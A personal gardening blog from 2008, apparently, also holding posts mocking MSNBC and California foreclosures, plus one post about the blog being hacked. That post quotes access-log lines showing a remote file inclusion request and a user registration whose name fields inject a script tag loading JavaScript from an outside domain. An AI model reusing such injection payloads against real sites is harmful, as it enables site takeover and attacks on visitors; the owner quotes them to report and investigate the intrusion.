Herb Garden Update

Well, I’ve had a post sitting here for a while about the herbs we’re growing, so while I wait for our radio show to start, I’ll put it up.

Here are a couple more pictures. The first is a flat and some assorted cups with herbs in them. On the left is rosemary. On the right is spearmint and blue fescue grass (ornamental). In the actual flat is catnip, flat leaf parsley, rosemary, cilantro, and tyme. Most of the stuff in the flat has already been transplanted into cups.

A Flat of Plants

Here’s a picture of the rest of the herb garden, along with some coleus (ornamental) for our planter boxes. There are also some thai chilis and some bell peppers in there. The picture is labeled.

Plants in Cups

Things are coming along nicely with the garden overall, and I can’t wait to get these plants into the ground/containers.

Happy Gardening!

Hot Pepper Garden Update

Well, I don’t think anyone is actually reading my posts here on my blog, but that isn’t going to stop me from posting them for my own enjoyment. So here goes, an update for my self on my pepper progress for 2008.

Everything is going well in pepperland.

Most of the peppers that I originally planted on March 19 have been transplanted into styrofoam cups. I usually use plastic cups because of their durability and reusability, but this time I’m using styrofoam cups after a recommendation I read at a pepper forum. The advantage is that they are dirt cheap (actually cheaper than dirt), they are easily labeled, and you can literally peel the cup off the rootball when ready for transplant. I’m not very pleased that the cups are not reusable and are incredibly wasteful. I think I’m going to look into crushing the cups up and using it like perilite, mixing it in with my soil for added aeration. I’m just not sure what type of chemicals will be leached into the soil by the disintegrating styrofoam.

I’ve began topping the pepper plants that are ready for it to encourage branching. Topping is as simple as cutting the main growing shoot right off the plant. I’m cutting after the fourth node and, depending on how the plants develop, I may cut again at the sixth node. Last year, my pepper plants were not pruned at all, and grew very tall– some over six feet. They were in 10″ pots (way too small). I think I would get a better harvest with a plant pruned to grow like a bush instead of a tree. I’m excited to see how this pruning works out.

I wanted to get into the types of pots I plan on using for the final transplant, and I wanted to get into soil mixtures and amendments, but this post has already grown long. So, picture time…

Here’s a picture of most of the peppers we’re growing. They were all planted at the same time, but due to differences in germination period and growth rate, they obviously are not all keeping the same pace. Besides these peppers, we are also growing thai peppers, which are in a different flat and not shown. We’re also growing in cups (not shown) a bell pepper “carnival mix,” which includes several colors of peppers, and also another colored bell pepper mix that is currently germinating in a flat cell in the oven.
Assorted Peppers

Here’s a closeup of one of the purple peppers up close. I’m really excited about this variety. The foliage of the plant is supposed to be a purplish color with white spots– very cool. You can see some of the spots in the picture, and the deep purple stem.
Fluorescent Purple Pepper

Here’s my Tabasco pepper, originally purchased from a home improvement store for last summer’s growing season. It made it through the winter, and is doing very well. Last year, in a ten inch pot, it grew well over five feet tall, and had more than one hundred (surprisingly hot) peppers. I’m expecting a huge harvest from this plant this year. I’m planning on making my own Tabasco-brand style sauce, although I have a feeling that mine will be much, much hotter.
Tabasco Pepper

Here’s a scotch bonnet that was planted for last year’s growing season. I got the seed from a pepper I bought at the grocery store. They called them habaneros, but it was obviously a scotch bonnet. But, since it is from a grocery store pepper, I’m not sure if it is a true seed. Last year, this particular plant grew incredibly slowly– the slowest of all my pepper plants– and only produced three peppers. I’m hoping that this huge jumpstart will equate to huge yields. This plant was originally in a ten inch pot, and I transplanted it into a five gallon bucket.
Scotch Bonnett

That’s it for now. I’ve already got another garden post in the works (herbs will be the topic), and like I said, I also plan on talking about soil types and pots.

More to come…

Growing Citrus Trees

Jaime and I grow citrus trees. Well, we try to, at least.

We’ve got three citrus trees right now: A Eureka Lemon– the kind you would buy at the store, a meyer lemon– believed to be a cross between a lemon and a mandarin orange, and a calamondin– a miniature sour orange.

We’re currently in the market for a Persian lime, which is the standard seedless lime found in the grocery store. We’re also on the lookout for a Mexican lime (key lime) and a kumquat, which is the most cold-hardy of the edible citrus.

The citrus we grow are grafted. They take a disease-resistant and cold-resistant rootstock and graft onto it a scion from a full-sized citrus tree. Once the graft is healed, the resulting tree will bear fruit, but not grow very tall at all.

Here are our citrus trees:
Our Citrus Trees

Growing citrus is lots of fun, the fruit is excellent, and, in pots, you can grow them in practically any zone. Why don’t you grow some citrus trees of your own?

Azaleas

2008 is apparently the year to get to work on our backyard. I’ve already accomplished several projects back there, and I will have a few more in the works before too long.

About two or three weeks ago, I spotted a deal on azaleas over at Lowe’s. Jaime and I headed over there and picked out a dozen of them to plant in the back yard.

Over the course of a couple of days, I removed the old plants (trees, really), double-dug the planting areas, planted the azaleas, and scattered pine straw. Here are the results.

This first shot is along a fence that borders between our yard and our neighbors yard. We planted a whopping 9 Azaleas in there. I know, it seems excessive, but we want to fill the area in fast (one to two years). They are all planted within the specifications provided on the plant tags, so they’ll be tight but still properly spaced.
Azaleas

The second shot is the fence bordering the alley behind our house. There are three azaleas in this picture.
Azaleas

I’ll post more pictures of these as they continue to grow. :)

Getting Greener… but not quite.

So I’m watching MSNBC. My all-time favorite Contessa Brewer is anchoring (sarcasm).

What do I see behind her? An entire row of empty desks, all with flat-screen monitors, all turned off.

Hmm. Seems pretty good, right?

Yeah, well, they pan to a guest over to the right of the screen. He’s standing in front of a big green wall. It’s loaded with monitors.

They’re all on. They’re all sucking down energy. They’re all decorations.

Nice try, MSNBC. You’re still hypocritical.

Foreclosures in California

California foreclosure “surge”: Up 327% from ’07 levels
The number of California homes lost to foreclosure in the first quarter surged 327% from year-ago levels — reaching an average of more than 500 foreclosures per day — DataQuick said in a report warning that the widening foreclosure problem could “spread beyond the current categories of dicey mortgages, and into mainstream home loans.”

Hahahahaha!

I’m sorry, I find that absolutely hilarious.

How can I be so insensitive? How can I be so mean? Well, come on. These people bought incredibly overpriced houses.

As of right now, the median sales price in California is $452,000. The average listing price is $683,604. They’re only beat out in sales price by Hawaii and DC, two markets impacted by limited geography. (HI + DC = 10,999.3 miles², CA = 163,696 miles²) (Source)

If you make a poor decision and buy an overpriced house in an overinflated market with an underwhelming salary, you deserve whatever comes to you when it all falls down.

And I will laugh.

Green is Universal

So MSNBC is again doing their stupid Green is Universal thing.

The last time they did this was a short five months ago, and at that time I made a post about their hypocrisy. Well, I’m going to do it again.

Right now, the anchor on MSNBC is Nora O’Donnell. Behind Ms. O’Donnell, I count at least 18 video monitors. 18!

These monitors aren’t at people’s desks. These things are stuck to the wall as decoration. There is one blurred-out guy relaxedly sitting behind Ms. O’Donnell. Surely he’s not using all 18+ monitors at once.

So, MSNBC, look in the mirror.

On one hand, you’re setting aside unbiased journalism in favor of promoting a controversial and highly contested political issue. On the other hand, you’re pumping 18 leaden monitors worth of heat into your well-lit studio, all the while telling me that I need to be green.

Can anyone say hypocrisy?

More VadixBot …or is it search-again.net?

It turns out that someone used some sort of an exploit to modify a few of my files and change my password. So I type this post as I sit here and wait for files to upload so I can upgrade my blog and Jaime’s blog.

I started doing some research on this. Here’s the log information for the IP that exploited my blog:

Host: 212.69.204.75
*
/2007/06/06/vadixbot-look-out/index.php?s=http://www.backbreakacres.com/22/test.txt??
Http Code: 404 Date: Apr 21 14:06:08 Http Version: HTTP/1.1 Size in Bytes: -
Referer: -
Agent: Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)

*
/index.php?s=http://www.backbreakacres.com/22/test.txt??
Http Code: 200 Date: Apr 21 14:06:11 Http Version: HTTP/1.1 Size in Bytes: 181
Referer: -
Agent: Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)

The first thing I noticed is that the entry point for the exploit was one of my two VadixBot posts. Hmm. Could this be someone associated with VadixBot trying to shut down my blog to prevent people from learning how VadixBot operates? I am the #1 and #2 results in Google for “VadixBot” and my posts are generally less-than-positive.

So I do some more digging, and find a post at a blog called Teh Spiffy Serena entitled VadixBot – Ban The Hell Out Of It. It’s worth reading if this is the sort of thing that interests you.

More digging, more possible connections. I notice there is a user registered on my blog with some suspicious details. Obviously, the user is trying to inject JavaScript into my site:

user_login: WordPress
user_firstname: <b id=”ux”><script language=”JavaScript”
user_lastname: src=”http://search-again.net/js/js.js”></script>

I assume their end goal is to somehow assemble the firstname and lastname fields on a page served by my blog, effectively executing JavaScript in the user’s browser.

Search-again.net looks like a pretty useless search engine. Their top 15 most recent searches, listed on their homepage, are things like:

  • Buy Phentermine
  • Order Viagra
  • Tramadol Online
  • Credit Report
  • Acne
  • Casino
  • Stop Smoking
  • Debt
  • Basketball Bets
  • Buy Adipex
  • Weight Loss Pills
  • Online Casinos
  • Sports Book
  • Buy Viagra
  • Valium

Yeah right! As if anyone searches on those terms! I’m not a statistical analyst, but the chances that those terms would be searched all in a row like that are likely very slim.

Where’s this all going? I’m not sure. Is VadixBot and search-again.net associated? I’m not sure.

But, on the plus side, I’m running WordPress 2.5 now. :)

2008 Garden Part II: Peppers

Ahh, peppers. I love them. Hot, mild, sweet– it doesn’t matter. I love them, and Jaime does, too. So, we grow a lot of peppers.

In the past few years, we have only grown peppers bought locally from home improvement stores. Last year, we grew 19 basic varieties, like jalapeños, orange habaneros, serranos, cayennes, etc. This year, we’re only keeping a few of those around.

Carried over from last year are Thai chilis, which are miniature peppers about the size of your pinkie fingernail that ripen from green to yellow to orange to purple to red. They’re hot as hell, and the plants, while only growing about a foot tall, are very prolific. I’m growing these from seeds I harvested two years ago, and I’ve experienced an excellent germination rate.

Also carried over is a Tobasco pepper, of the famed tobasco sauce. It grew really well last year, almost five feet tall in a ten inch pot, and it gave us about fifty peppers that were, surprisingly, much hotter than tobasco sauce. It survived the winter and a major chopping, and there are two nice, healthy shoots growing out of a one inch stump. I’ll be planting it in a five gallon bucket later this week to encourage new growth.

The last carryover is a scotch bonnet. I bought it mislabeled as a habanero at the grocery store and grew it from seed last year. It grew incredibly slowly, only yielding 2 peppers. This plant made it through the winter. I transplanted it into a five gallon bucket about a month ago, and it is already about a foot tall. I pruned the top of the plant today as part of my bushy growth strategy that I’ll get into in a later post.

So now, the new varieties. Jaime and I decided that we were going to grow more rare or unusual varieties this year. We want peppers that people we meet have never heard of. For that, the only choice was to order from seed suppliers by mail.

The first type of pepper we wanted to grow was a variety or two of paprika peppers. These peppers are typically mild red peppers that are dried and ground, and used as a spice. We ordered two varieties– Paprika Supreme Sweet Peppers and Hungarian Paprika Hot Peppers.

Once grown, we’ll dry the peppers in the sun. We’ll take half of the peppers and smoke them on the grill or some sort of smoking contraption, and then we’ll grind the peppers into a spice. So, we’ll have four varieties of paprika: sweet, hot, sweet-and-smoky, and hot-and-smoky.

You’ll note that I ordered those seeds from Reimer Seeds. According to everything I’ve read online, their reputation is mixed. My paprika seeds have done good, though, with all four of the sweet variety seeds germinating, and three out of four of the hot variety germinating.

The other seeds I got from Reimer, though, haven’t fared as well. I’m not sure if it is the variety– Red Savina Habanero, or the specific seed they sent me. The seeds were dark– darker than any hot pepper seed I’d seen before. Only two of four germinated. It took a full two weeks for germination, and the plants are small, light in color, and growing very, very slowly. If they don’t grow so be it, but I really hope they grow. My other red habanero (below) has suffered the same poor germination rate.

I got the seeds for all of the rest of the hot peppers from Pepper Joe’s. He’s got a great reputation, and his seeds have germinated well, for the most part.

Here are the Pepper Joe’s varieties I’m growing:

Spicy Mustard Habanero- A habanero that, when ripe, is yellow. It is supposed to be very hot.

Caribbean Hot – A habanero that, when ripe, is red. It is supposed to be even hotter than the spicy mustard habanero, and very close to the Red Savina. Like the Red Savina, I experienced poor germination on this variety compared to the rest, and germination took a full two weeks. I think it’s just a characteristic of the variety, and not the seed stock.

White Habanero – A habanero that, when ripe, is white. Again, it’s supposed to be very hot.

Fluorescent Purple Pepper – According to the website, “florescent purple and white foliage is surrounded by little hot dynamos that turn from green, to purple, then to red when ripe.” It sounded cool, so we went for it.

PepperJoe.com also sent us some free seeds– Pimento peppers (mild, obviously) and Long Red Slim cayenne peppers. I think it’s so cool that they sent us free seeds. We’re growing both of them, and I’m particularly looking forward to the Long Red Slim cayennes. All the other cayennes I’ve ever grown were very mild– much milder than a hot jalapeño– even though they were billed as hot peppers.

Oh, we’re growing some standard colored bell peppers too. Those suckers are expensive these days, so growing our own makes sense.

And last, we’re also growing a pepper we stumbled upon by accident. We were at a Chinese food restaurant, and they had a decorative pepper plant out front. It was nice and tall, and was covered with several dozen peppers of assorted colors– green, purple, orange, and red. Well I was admiring the plant and somehow, unbeknownst to me, one of the ripe peppers accidentally made its way into my pocket, to my house, onto my desk, and into the little storage space below my monitor where it sat until the other day when I decided to break it open, and plant the seeds. I planted nine of these, and plan on keeping the nicest plants and giving the rest away to future pepper enthusiasts.

So, that’s it. Hot peppers. Mmm. I’ll post some pics soon!

2008 Garden Part I: Introduction and Herbs

Well, it’s time for my garden post for the 2008 growing season. I started writing this post about a month ago, and haven’t had a chance to finish it until now. I’m going to do it in two parts, dedicating one part exclusively to hot peppers, and one part to the rest.

Jaime and I jumped head-first into gardening this year, starting our garden earlier than ever (although still not early enough). We’re growing a lot of new and exciting things in the garden, and focusing on our past successes to maximize our harvest.

If you recall my post from last year, we had learned from our mistakes the previous year. This year, I hope to have an even better and more productive garden than last year.

We’ve decided to focus on two areas: hot peppers and herbs. We just have no luck with tomatoes. We’ve tried them in the ground with no luck, and we’ve tried them in buckets with no luck. We surrender. Tomatoes will have to wait for another year. I’m doing research on heirloom tomatoes, and will probably try a few varieties next year.

So hot peppers and herbs.

We left our herbs from last year outside over the winter. Unfortunately, I neglected them and failed to give them any water, so most of them are dead. We’re basically starting over on the herb portion of our garden.

The herbs we’re growing are pretty standard fare: Plain leaf parsley, curly leaf parsley, tarragon, cilantro (coriander), thyme, catnip, spearmint, dill, sage, oregano, sweet basil, purple basil, and rosemary (from seed and cuttings). I’ve started everything in a regular 72-cell flat, and it is going really well.

In the past, I’ve had a hard time getting mint started, and three of my four mint pots are growing well. Hopefully they’ll take off in the next few weeks as the weather starts getting warm.

I planted six cells of rosemary, each with quite a few seeds, and I’ve actually had a couple of these hard-to-germinate seeds come to life. The plants are tiny, but they are definitely growing. If the seedlings don’t make it, I have nine cuttings I took from my sister’s (struggling) rosemary as a backup.

We’re going to decide where to plant the herbs in the next couple of weeks, when they’re established enough to transplant into the ground or larger planters. We’re working on building a master plan for our yard, and we’re planning on incorporating herbs as a large part the design.

So that’s pretty much it for the herbs for now. On a side note, we’ve also planted some decorative blue fescue grass, and some pink and white pampas grass for a decorative planting in the back corner of our yard. The seeds are growing well, and will be placed in the ground this fall.

We’ve also been on an azalea planting streak. Our backyard, albeit small, is wide open to our neighbor’s yards. We want a bit more of a secluded, sheltered sort of feeling for our backyard. So, we’ve planted 12 azaleas of varying sizes, and we have plans to plant more.

We’re also building a new shed in a few months, and so that is obviously a large consideration in our landscaping plan.

Anyway, stay tuned for my pepper post. We’re growing some cool stuff!